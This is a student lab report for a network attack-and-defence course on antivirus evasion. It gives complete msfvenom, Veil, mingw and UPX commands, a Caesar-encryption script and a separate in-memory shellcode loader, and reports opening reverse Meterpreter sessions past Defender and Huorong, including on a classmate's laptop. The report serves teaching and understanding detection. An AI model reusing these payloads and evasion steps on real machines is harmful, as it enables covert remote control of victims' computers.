20242320 2025-2026-1 《网络与系统攻防技术》实验三实验报告
20242320 2025-2026-1 《网络与系统攻防技术》实验三实验报告
实验名称:免杀原理与实践
实验环境:
- Kali Linux 2026.2 虚拟机(主机名 fanxingru):攻击机
- Windows 11 24H2 宿主机(计算机名 fancy):靶机(任务一至四)
- 另一台实测电脑:同学笔记本(计算机名 WYS,Windows 11 24H2,任务五)
- 工具:Metasploit Framework(msfvenom / msfconsole)、Veil-Evasion、mingw-w64 交叉编译器、UPX 4.2.4、Python3
- 杀软环境:Windows Defender(任务一至三)与火绒安全软件(任务四、五)
- 网络:任务一至四为 VMware NAT 网段(Kali 为 192.168.166.134),任务五为 iPhone 热点局域网(Kali 为 172.20.10.4);端口统一使用 2320
1. 基础知识
1.1 杀软是如何检测出恶意代码的?(问题一)
杀软采用多层次检测机制:
| 检测手段 | 静态/动态 | 原理 | 本实验中的对应现象 |
|---|---|---|---|
| 文件哈希比对 | 静态 | 计算文件 MD5/SHA256 与云端黑名单比对 | 每次编译哈希不同,对新生成文件无效 |
| 特征码匹配 | 静态 | 比对已知恶意代码的字节序列、字符串与 PE 结构特征 | msfvenom 直接生成的 exe 落地即被 Defender 删除 |
| 启发式分析 | 静态+动态 | 对程序结构与高危 API 组合(如 VirtualAlloc + WriteProcessMemory)进行可疑度评分 | 加壳、加密程序易被标记 |
| 行为监控(主动防御) | 动态 | 监控程序运行时的 API 调用、注册表修改与网络连接 | 回连外部 IP、申请可执行内存等行为被监控 |
| 内存扫描 | 动态 | 扫描进程内存,查找解密后的恶意代码 | 内存中短暂出现的明文 shellcode 可能被检出 |
| 云查杀 / 沙箱 | 综合 | 上传样本至云端沙箱运行,结合特征与模型判定 | 对未收录的新样本最有效 |
此外,Windows 提供 AMSI(反恶意软件扫描接口):PowerShell、JS 等脚本在执行前先经 AMSI 交由杀软扫描内容,因此无文件落地的脚本攻击同样可能被拦截。
1.2 免杀是做什么?(问题二)
免杀(Anti-Virus Evasion)指在保持恶意代码功能不变的前提下,对其静态特征、文件形态与加载方式进行处理,使杀软各层检测无法识别,从而放行执行。
1.3 免杀的基本方法有哪些?(问题三)
| 思路 | 具体方法 | 对抗的检测层 |
|---|---|---|
| 改变静态特征 | 编码器多轮编码(shikata_ga_nai)、异或/凯撒/AES 加密 shellcode、加壳(UPX)、代码混淆 | 特征码、启发式 |
| 改变文件形态 | 换用 jar / py / php 等非 PE 输出格式 | 特征码(非 PE 格式检测强度较低) |
| 改变加载方式 | 分离加载(加载器与 shellcode 分开存放)、内存解密执行 | 静态扫描、行为监控 |
| 白名单利用 | 借助 powershell、mshta、rundll32 等系统自带程序加载恶意代码 | 行为监控、白名单机制 |
本实验覆盖前三类中的代表方法:编码与换格式(3.1)、Veil 封装(3.2)、C+shellcode 二次开发(3.3),以及加密 + 分离加载 + 内存执行 + 加壳的组合方案(3.4)。
1.4 msfvenom 编码器与输出格式
- 编码器(
-e) 对 payload 做变形。x86/shikata_ga_nai为多态异或编码器,是 MSF 中唯一评级 excellent 的编码器,可用-i N指定迭代轮数。编码后的 shellcode 运行时依赖一段固定的解码 stub 自解密,该 stub 的字节特征已被各大杀软收录,因此仅编码的免杀效果有限(3.1.3 验证)。 - 输出格式(
-f) 支持 exe/dll/jar/php/py/c/raw 等。杀软的检测重点在 PE 文件,对 jar 等格式的检测能力相对较弱,换格式是成本较低的免杀思路。
1.5 Veil-Evasion 的工作原理
Veil 与 msfvenom 直接生成 exe 的区别在于加载器结构:msfvenom 的 exe 内嵌明文 shellcode;Veil 先生成原始 shellcode 并加密,再嵌入用 Go/C/Python 编写的加载器中编译为 exe。磁盘上的可执行文件仅包含加载器代码与加密数据,运行时才在内存中解密执行。Veil 3.1 起采用渐进式内存申请(先以 RW 权限写入,再用 VirtualProtect 改为 RX),避免直接的 RWX 权限申请。本实验选用 go/meterpreter/rev_tcp。
1.6 Shellcode 与 C 加载器
msfvenom 以 -f c 输出 C 数组形式的 shellcode,由加载器分配可执行内存并转入执行,核心三步:
void *exec = VirtualAlloc(0, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE); // 申请可执行内存
memcpy(exec, buf, sizeof(buf)); // 拷贝 shellcode
((void(*)())exec)(); // 函数指针调用,转入执行
自行编写并由 mingw-w64 交叉编译的产物是全新二进制,不含已知工具的特征码,这是二次编译免杀的基本原理。
1.7 加壳
加壳通过压缩或加密改变 PE 文件的静态结构。UPX 属于压缩壳,压缩 PE 节区、运行时先解压再执行。由于 UPX 壳特征已被广泛收录,单独使用效果有限,通常作为组合技术的最后一道工序。
2. 实验内容
| 任务 | 内容 | 技术点 | 涉及主机 |
|---|---|---|---|
| 任务一 | 正确使用 msf 编码器;生成 jar 等其他格式文件 | shikata_ga_nai 多轮编码、-f jar、handler 回连 |
Kali → Windows |
| 任务二 | Veil-Evasion 生成免杀后门 | Go 加载器、加密嵌入、handler | Kali → Windows |
| 任务三 | C + shellcode 编程 | -f c、VirtualAlloc 加载、mingw 交叉编译 |
Kali → Windows |
| 任务四 | 组合应用各种技术实现免杀,与杀软共生 | 凯撒加密、分离加载、内存执行、UPX | Kali → Windows(火绒开启) |
| 任务五 | 用另一电脑实测,杀软开启下运行并回连 | 组合方案实战验证 | Kali → 同学笔记本 |
方案简介:先分别验证单技术(编码器、Veil、C+shellcode),再进入组合方案:msfvenom 生成 raw shellcode → 凯撒加密(每字节 +3)存为独立的 encrypted_20242320.bin → 自写 C 加载器负责读文件、内存解密、执行 → 编译后叠 UPX 壳。加载器 exe 内不含 shellcode 本体,bin 文件为密文,明文 shellcode 仅在运行时短暂存在于内存。
3. 实验过程
3.0 实验准备
-
Kali:
ip a确认 eth0 为 192.168.166.134,hostname为 fanxingru
![屏幕截图 2026-10-19 100037]()
-
Windows:ping 通 Kali,
hostname为 fancy
![屏幕截图 2026-10-19 100043]()
-
Kali 工具检查:
which msfvenom msfconsole i686-w64-mingw32-gcc upx python3均有路径输出
![屏幕截图 2026-10-19 100056]()
-
Windows:
java -version确认 Java 环境(任务一的 JAR 运行依赖) -
杀软状态:任务一至三确认 Defender 实时保护开启;任务四、五使用火绒,实验前打开主界面确认防护开启
3.1 任务一:正确使用 msf 编码器,msfvenom 生成 JAR 等其他格式文件
3.1.1 查看编码器列表
msfvenom --list encoders
输出按评级排列,唯一 excellent 级为 x86/shikata_ga_nai

3.1.2 基准:不编码直接生成 exe
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.166.134 LPORT=2320 -f exe -o raw_20242320.exe
文件传到 Windows 后被 Defender 实时保护立即删除


3.1.3 使用 shikata_ga_nai 多轮编码
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.166.134 LPORT=2320 -e x86/shikata_ga_nai -i 10 -b '\x00' -f exe -o encoded_20242320.exe
输出 10 行 x86/shikata_ga_nai succeeded with size xxx (iteration=N),每轮 size 不同,体现多态性。文件传到 Windows 后仍被 Defender 删除。原因如 1.4 所述:解码 stub 的特征固定且已被收录,多轮编码无法改变该特征。

3.1.4 生成 JAR 格式后门并回连
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.166.134 LPORT=2320 -f jar -o backdoor_20242320.jar
Kali 端监听,payload 必须使用 java 系:
use exploit/multi/handler
set payload java/meterpreter/reverse_tcp
set LHOST 192.168.166.134
set LPORT 2320
exploit
Windows 端执行:
java -jar C:\Users\fancy\Desktop\backdoor_20242320.jar

Kali 端收到 Meterpreter session

任务一结论:编码器应掌握用法(-e/-i/-b),但仅编码无法绕过查杀;更换输出格式(JAR)是成本更低的免杀思路,局限在于目标机需安装对应运行环境。
3.2 任务二:Veil-Evasion 生成免杀后门
3.2.1 安装与启动
sudo apt install veil -y
sudo veil
首次运行自动初始化。启动时若 sudo 报 unable to resolve host fanxingru,需同步 /etc/hosts(见问题 1)。主菜单含 Evasion 与 Ordnance 两个工具。


3.2.2 生成 Go 语言 meterpreter 后门
use evasion
use go/meterpreter/rev_tcp.py
set LHOST 192.168.166.134
set LPORT 2320
generate

输出文件基名:veil_go_20242320。生成三个产物:
/var/lib/veil/output/compiled/veil_go_20242320.exe(最终后门)/var/lib/veil/output/source/veil_go_20242320.go(加载器源码,可见加密数据与解密执行逻辑)/var/lib/veil/output/handlers/veil_go_20242320.rc(监听脚本)

3.2.3 回连验证
msfconsole -r /var/lib/veil/output/handlers/veil_go_20242320.rc
波折:加载 .rc 后发现实际监听端口为默认 4444 而非 2320,经 jobs 确认后 kill 0 停止任务,set LPORT 2320 后重新 exploit -j 恢复正常(见问题 2)。Windows 端双击运行 veil_go_20242320.exe,Kali 收到 Meterpreter session,sysinfo 显示 Computer 为 FANCY、OS 为 Windows 11 24H2+。

3.3 任务三:C + Shellcode 编程
3.3.1 生成 C 格式 shellcode
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.166.134 LPORT=2320 -f c -o shellcode_20242320.c

输出 Payload size: 355 bytes,文件内容为 unsigned char buf[] = "..." 形式的字节数组。
3.3.2 编写加载器
loader_20242320.c 的结构:将 buf 数组整体复制入文件,main 中按 1.6 所述三步申请内存、拷贝、函数指针调用执行。(截图:nano 编辑界面,可见文件名含学号)
3.3.3 交叉编译成 Windows exe
i686-w64-mingw32-gcc loader_20242320.c -o c_shellcode_20242320.exe
编译无报错。

3.3.4 回连验证
Kali 端交互式配置 handler(payload 为 windows/meterpreter/reverse_tcp,LHOST/LPORT 与生成参数一致)。Windows 端双击运行:exe 未被 Defender 删除,Kali 端出现 Meterpreter session opened,sysinfo 确认 FANCY。

任务三结论:自写代码、自行编译的产物为全新二进制,静态查杀可通过;但 shellcode 以明文形式内嵌于 exe,仍可能被特征匹配命中,任务四先加密再分离存放。
3.4 任务四:组合应用各种技术实现恶意代码免杀(与杀软共生)
3.4.1 检测环境说明
任务一中 raw 与 encoded 两个 exe 均被 Defender 删除,说明 Defender 对 msfvenom 直接生成的 PE 文件查杀严格。宿主机安装火绒安全软件后,本任务在火绒防护开启状态下进行实测,环境与任务五保持一致。
3.4.2 生成 raw shellcode 并凯撒加密
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.166.134 LPORT=2320 -f raw -o shell_20242320.raw
python3 -c "
data = open('shell_20242320.raw','rb').read()
enc = bytes([(b + 3) % 256 for b in data]) # 凯撒加密:每个字节 +3
open('encrypted_20242320.bin','wb').write(enc)
print('Original:', len(data), 'bytes -> Encrypted:', len(enc), 'bytes')
"
输出:Original: 355 bytes -> Encrypted: 355 bytes。
3.4.3 编写分离加载器
loader_20242320.c 的逻辑:fopen 打开同目录下的 encrypted_20242320.bin,读入堆内存后逐字节 -3 解密,随后 VirtualAlloc 申请内存、memcpy 拷贝、函数指针调用执行。exe 内不包含 shellcode。
3.4.4 编译并加壳
i686-w64-mingw32-gcc loader_20242320.c -o loader_20242320.exe
upx --best loader_20242320.exe -o loader_final_20242320.exe
UPX 4.2.4 输出:109984 字节压缩至 60832 字节(55.31%)。

3.4.5 部署与回连
将 loader_final_20242320.exe 与 encrypted_20242320.bin 置于同一目录(桌面)。Kali 端 handler 配置同 3.3.4。Windows 端保持火绒防护开启,双击运行 loader:无报毒、无拦截,Kali 端收到 Meterpreter session,sysinfo 显示 FANCY、Windows 11 24H2+。

3.4.6 免杀原理分析(纯文字)
该方案使杀软扫描到的每个落盘文件均不含恶意代码:
- loader_final_20242320.exe 仅含文件读取、逐字节减 3、内存申请与跳转执行逻辑,不含 shellcode,静态特征匹配无对象;
- encrypted_20242320.bin 为 shellcode 整体加 3 后的密文,不命中任何特征库;
- 明文 shellcode 仅在运行时短暂存在于内存,且加载器行为简单(无进程注入、无注册表修改),未触发火绒行为检测阈值;
- UPX 壳改变 PE 结构,增加静态分析成本。
四项技术分别对应不同检测层:加密消除特征码、分离加载绕过静态扫描、内存执行避免磁盘检测、加壳干扰结构分析。单一技术均可被针对性检测,组合后才能与杀软防护共存。
3.5 任务五:用另一电脑实测(杀软开启下运行并回连)
| 项目 | 配置 |
|---|---|
| 靶机 | 同学笔记本电脑,计算机名 WYS,Windows 11 24H2(10.0 Build 26200) |
| 靶机杀软 | 火绒安全软件 6.0.12.1(病毒库 2026-10-19) |
| 攻击机 | Kali Linux 2026.2 虚拟机(fanxingru) |
| 网络 | iPhone 手机热点组建的局域网;Kali 桥接获得 172.20.10.4;端口 2320 |
| 投递文件 | loader_final_20242320.exe + encrypted_20242320.bin(LHOST 按热点网段重新生成) |
实测步骤:
-
校园网环境无法直接实测:网络需身份认证,桥接的 Kali 无法通过认证获取 IP;两台电脑互 ping 不通(AP 隔离)。改用 iPhone 热点搭建局域网(见问题 5)。
![屏幕截图 2026-10-20 195353]()
-
Kali 网卡切换为桥接模式,并在虚拟网络编辑器中将 VMnet0 的"已桥接至"由"自动"指定为无线网卡(自动桥接可能选中错误的物理网卡),重启 NetworkManager 后 eth0 获得地址 172.20.10.4。
-
同学电脑 ping 通 172.20.10.4
![3d3bed1cb8d7997b5cf02ac39022a0cb]()
-
按新 LHOST 重新执行任务四流程(生成 raw → 凯撒加密 → 编译 → UPX)
![屏幕截图 2026-10-20 195853]()
-
两个文件打包为 zip 经微信发送(exe 直接发送会被拦截),同学解压至桌面
![图片]()
-
确认火绒防护全部开启
![28df920f90a4e0aa471c9a167591b6a5]()
-
Kali 端 handler 监听 172.20.10.4:2320;同学双击运行 loader,无报毒,Kali 端收到 Meterpreter session(172.20.10.4:2320 -> 172.20.10.2:46662),
sysinfo显示 Computer 为 WYS、Windows 11 24H2+。
![屏幕截图 2026-10-20 200358]()
4. 问题及解决方案
问题 1:启动 Veil 时 sudo 报 unable to resolve host fanxingru: Name or service not known
修改主机名后未同步 /etc/hosts,sudo 解析本机主机名失败。将 /etc/hosts 中 127.0.1.1 对应的主机名改为 fanxingru 后解决。教训:hostname 与 hosts 需同步修改。
问题 2:handler 参数与 payload 不一致导致无法回连
任务二使用 Veil 生成的 .rc 脚本启动监听,jobs 查看发现实际监听端口为默认 4444,而非生成后门时指定的 2320。处理:kill 0 停止该任务,set LPORT 2320 后重新 exploit -j 恢复正常监听。教训:handler 的 payload/LHOST/LPORT 必须与 msfvenom 生成参数一致;排障第一步是用 jobs 查看实际监听状态,而不是凭配置推断。
问题 3:meterpreter 命令报 Unknown command
在 msf exploit(multi/handler) > 提示符下直接输入 sysinfo 报错。meterpreter 命令需在会话交互层执行:先 sessions -i <ID> 进入 meterpreter > 提示符再输入。同理,meterpreter 中查询当前用户用 getuid,whoami 需先 shell 进入 cmd 后使用。
问题 4:msfconsole -x 多行命令解析失败
使用 msfconsole -q -x "多行命令" 启动监听时报 Failed to load module: exploit/multi/handlerset:多行字符串中的换行被吞,两条命令粘连为一条。改为交互式逐行输入解决,本实验后续 handler 均使用交互式配置。
问题 5:实验网络环境搭建中的三个问题
- Kali 无 dhclient 命令:新版 Kali 使用 NetworkManager 管理网络,改用
sudo systemctl restart NetworkManager或nmcli device disconnect/connect eth0重新获取地址; - 桥接后 eth0 无 IPv4 地址:VMware 虚拟网络编辑器中 VMnet0 的"已桥接至"由"自动"改为显式指定无线网卡后解决;
- 校园网无法用于实测:网络需身份认证,桥接的虚拟机无法通过认证;且两台电脑互 ping 不通(AP 隔离)。改用 iPhone 热点搭建局域网,Kali 桥接获得 172.20.10.4,互通正常,问题绕开。
注:Windows 防火墙默认拦截 ICMP 回显,ping 不通不必然代表网络不通,可用 Test-NetConnection <IP> -Port <端口> 测试 TCP 连通性。
5. 学习感悟
- 单一免杀技术均有明确短板:多轮编码不改变解码 stub 的固定特征;Veil 与 C+shellcode 虽能通过静态查杀,但 shellcode 仍可能以明文形式落盘。凯撒加密、分离加载、内存执行、UPX 加壳组合后,每个落盘文件均不含恶意代码,才能在杀软防护开启状态下运行并回连。
- 开启杀软不构成完整防御,windows Defender还是很强的。本次实验中代码量不足 40 行的加载器即可在防护开启状态下运行并建立会话。有效的纵深防御还需结合防火墙、入侵检测、最小权限原则,以及对来源不明可执行文件的管控。









浙公网安备 33010602011771号